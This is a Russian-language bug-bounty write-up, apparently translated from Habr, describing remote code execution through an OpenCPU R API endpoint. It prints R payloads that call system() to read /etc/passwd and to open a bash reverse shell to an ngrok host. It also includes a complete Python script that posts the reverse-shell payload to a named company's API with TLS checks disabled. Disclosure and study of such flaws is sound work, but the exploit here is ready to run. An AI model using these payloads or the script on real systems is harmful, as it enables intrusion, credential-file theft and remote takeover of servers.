[Перевод] Как я нашел RCE уязвимость в API-эндпоинте
За время моего пути в баг-баунти я сталкивался с различными интересными уязвимостями, но эта превзошла их все — уязвимость удаленного выполнения кода (RCE) в API-эндпоинте на языке R. Проэксплуатировав ее, мне удалось получить доступ к важным системным файлам и даже установить reverse shell на сервере. Эта статья написана для облегчения понимания процесса.
— — — -+ + — — — — — — — -+ + — — — — — — — — -+ + — — — — — — — +
| User | — → | Vulnerable API| — → | OpenCPU Server | — → | Server Response |
+ — — — -+ + — — — — — — — -+ + — — — — — — — — -+ + — — — — — — — +
Уязвимость
Во время тестирования приложения я обнаружил API, который позволял пользователям исполнять код на R:
https://statistics-api.example.com/ocpu/library/base/R/do.call/json
Идея этого эндпоинта казалась весьма простой: пользователи могли динамически запускать функции на R. Однако меня насторожило то, что он, похоже, не проверял и не ограничивал тип кода на R, который мог быть выполнен. Это создавало потенциальную возможность для эксплуатации.
После нескольких тестирований я создал полезную нагрузку, которая эксплуатировала данный эндпоинт для выполнения произвольных команд через функцию system () языка R.
Начальный этап: Тестирование доступа к файлам
Первое, что пришло мне в голову, — проверить, может ли API выполнять команды. Моя цель? Прочитать файл /etc/passwd, часто используемый для подтверждения несанкционированного доступа к файлам.
Вот нагрузка, которую я разработал:
reverse_shell_payload = f"function(x) {{ return(system(paste('cat /etc/passwd'), intern = TRUE)) }}"
Она использует функцию system языка R для выполнения команды cat /etc/passwd на сервере. Я обернул её в функцию R, чтобы она соответствовала ожидаемому формату ввода API.
Для проверки я написал Python-скрипт, отправляющий POST-запрос к API:
Когда я запустил скрипт, бам — сервер ответил содержимым файла /etc/passwd. Это подтвердило, что API уязвим к RCE!
Следующий этап: создание обратного шелла
Чтение файлов — это одно дело, но, чтобы показать полный масштаб данной уязвимости, я решил установить reverse shell. Что позволило бы мне удалённо управлять сервером.
Вот полезная нагрузка, которую я использовал:
reverse_shell_payload = f"function(x) {{ return(system(paste('bash -c \"bash -i >& /dev/tcp/0.tcp.in.ngrok.io/13018 0>&1\"'), intern = TRUE)) }}"
Эта команда использует bash для обратного соединения со мной. Я настроил прослушиватель с помощью ngrok, что упростило задачу по открытию локального порта в интернет.
Python-скрипт выглядит следующим образом:
import requests
import re
import ssl
# Disable SSL warnings
requests.packages.urllib3.disable_warnings()
# Define BaseURL
BaseURL = "https://statistics-api.sonova.com"
# Construct the full payload to establish a reverse shell connection
reverse_shell_payload = f"function(x) {{ return(system(paste('bash -c \"bash -i >& /dev/tcp/0.tcp.in.ngrok.io/13018 0>&1\"'), intern = TRUE)) }}" # please replace with your ngrok link
# Define the URL
url = f"{BaseURL}/ocpu/library/base/R/do.call/json"
# Define headers
headers = {
"Content-Type": "application/x-www-form-urlencoded",
}
# Define payload data
data = {
"what": reverse_shell_payload,
"args": "{}",
}
# Send the request
response = requests.post(url, headers=headers, data=data, verify=False)
# Check the response
if response.status_code == 201:
print("Reverse shell executed successfully.")
else:
print("Failed to execute reverse shell. Status code:", response.status_code)
После запуска скрипта я мог полностью контролировать сервер, свободно перемещаться по директориям и иметь доступ к различным файлам.
Заключение
Этот случай является хорошим примером: API, которые позволяют динамически выполнять код, могут быть крайне опасны, если они не защищены должным образом. Как охотники за уязвимостями, мы должны не только находить такие уязвимости, но и помогать организациям их исправить до того, как ими воспользуются злоумышленники. Надеюсь, эта история вдохновит вас на более глубокое исследование тестируемых API.
Life-Hack — Хакер
Habrahabr.ru прочитано 3549 раз